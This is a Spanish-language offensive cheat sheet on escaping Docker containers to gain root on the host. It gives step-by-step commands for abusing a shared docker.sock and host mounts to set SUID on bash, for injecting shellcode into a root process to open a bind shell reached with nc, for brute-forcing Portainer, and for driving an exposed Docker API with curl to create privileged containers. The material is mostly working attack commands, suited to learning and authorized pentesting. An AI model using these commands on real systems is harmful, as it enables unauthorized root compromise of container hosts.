Docker Escape / breakout
Linux privilege Escalation
vamos a ver como se puede abusar de Docker para escalar privilegios y salirse del contenedor hacia el sistema host. Vamos a ver ejemplos concretos y hablar de qué tan grave puede ser cada situación desde el punto de vista de la seguridad.
Lo que vamos a ver incluye:
Cómo usar montajes de volúmenes al lanzar contenedores para tener acceso a archivos importantes del host. Vamos a entender cómo alguien podría aprovechar esto para modificar archivos críticos y comprometer el sistema.
Qué pasa si se levantan contenedores con la opción de compartir procesos con el host (
--pid=host
) o con permisos privilegiados (--privileged
). Vamos a ver cómo se podría inyectar un shellcode en un proceso que corre como root y tomar el control del sistema.También veremos Portainer, una herramienta para administrar contenedores. Vamos a ver cómo, si no se configura bien, se puede usar para colarse en archivos sensibles del host y escaparse del contenedor.
Vamos a hablar de lo peligroso que puede ser dejar expuesta la API de Docker por el puerto 2375. Un atacante podría usarla para crear imágenes, lanzar contenedores o incluso ejecutar comandos con permisos altos directamente en la máquina host.
Abuso de grupos (Docker)
Abuso de monturas
si se comparte el docker.sock de la maquina victima esto es factible, ya que podremos listar las Docker images podremos ver las imágenes que están instaladas en la maquina host
enumerar las imágenes que estén instaladas
docker images
en el ejemplo, imaginemos ver una imagen de ubuntu si hacemos docker ps también veremos el contenedor.
por esto dentro del contenedor nos podemos aprovechar de la imagen de ubuntu para crear un nuevo contenedor con monturas
docker run --rm -dit -v /:/mnt/root --name privesc ubuntu
docker exec -it privesc bash
cd /mnt/root
cd bin
chmod u+s bash
# le pondremos a la bash de la maquina host permisos suid
bash -p
# practicamente tambien podemos hacer lo que queramos
Despliegue de contenedores con la compartición de procesos
si el contenedor se desplego con el parámetro --pid=host podremos listar los procesos de la maquina host
ps -faux # listar los procesos del contenedor
en cualquier proceso que este siendo ejecutado por root podremos inyectar shellcode, instrucciones maliciosas en bajo nivel
# codigo en C que utilizaremos
github.com/00x0pf/0x00sec_code/blob/master/mem_inject/infect.c
usaremos este shellcode
exploit-db.com/exploits/41128
creando el exploit :
nano inject.c # pegamos el exploit de github y asignamos el shell code junto el numero de bytes que es
lo compilamos
gcc inject.c -o inject
uso :
./inject PID_DEL_PROCESO
si vemos este error (Ptrace Attach : Operation not permitted) significa que al contenedor le faltan capabilities, la de ptrace es sys_ptrace
--cap-add=SYS_PTRACE así asignamos la cap al desplegar el contenedor --privileged por si se ocupan mas caps
así se debería ver la respuesta, este exploit nos abrió el puerto 5600 en la maquina host para hacer una
solo hará falta conectarse
nc ip 5600
esto nos dará la consola en la maquina host.
Portainer
Que es Portainer? en servicio que permite de una forma centralizada gestionar contenedores desde una interfaz web
para acceder al panel del Portainer podemos hacer algún ataque de fuerza bruta para conseguir las credenciales de acceso
al hacer eso ya podemos seguir con la explotación:
vamos a containers y luego add containers
ponemos la imagen, vamos a las configuraciones avanzadas y ponemos que nos de una TTY interactiva luego vamos a la sección de al lado de volumes. crearemos un contenedor con monturas, despues de esto lanzamos el contenedor , ahora volvemos al inicio de containers, nos meteremos a nuestro contenedor nuevo y nos vamos a console, le decimos que nos de una bash, le damos a connect y ya estaremos como root
cd /mnt/root
chmod u+s bash
bash -p
Docker API abuse
puertos donde corre la API de Docker :
2375 - HTTP
2376 - HTTPS esta API debe configurarse manualmente por el desarrollador
enviamos una cadena vacía a la maquina victima para saber si tiene la API de Docker corriendo
echo '' /dev/tcp/ip/docker_port
echo $? # el codigo de estado debe ser 0, que es exitoso
curl –insecure -X POST -H "Content-Type: application/json" https://ip:port/containers/create?name=cointaner_name -d '{"Image":"ubuntu:latest", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "Privileged": true}'
esta solicitud nos dará como respuesta una id la cual deberemos copiar
si estas por http no hace falta poner el -insecure
recuerda adaptar la url a tu necesidad
si no sabemos que imágenes están descargadas podemos utilizar este comando primero :
curl http://ip:port/images/json | jq
curl http://ip:port/containers/json | jq # este comando es para ver los contenedores
siguiente comando :
curl -X POST -H "Content-Type: application/json" http://ip:port/containers/id_anteriormente_dada/start?name=test
nos desplegara un contenedor llamado test
ahora vamos con la ejecución de comandos, le daremos a la bash permisos SUID
curl –insecure -X POST -H "Content-Type: application/json" https://ip:port/containers/id_dada_anteriormente/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "chmod u+s /mnt/bin/bash"]}'
esto nos dará otra ID que también debemos copiar e introducirla en el siguiente comando :
curl -X POST -H "Content-Type: application/json" http://ip:port/exec/id_dada_anteriormente/start -d '{}'
Last updated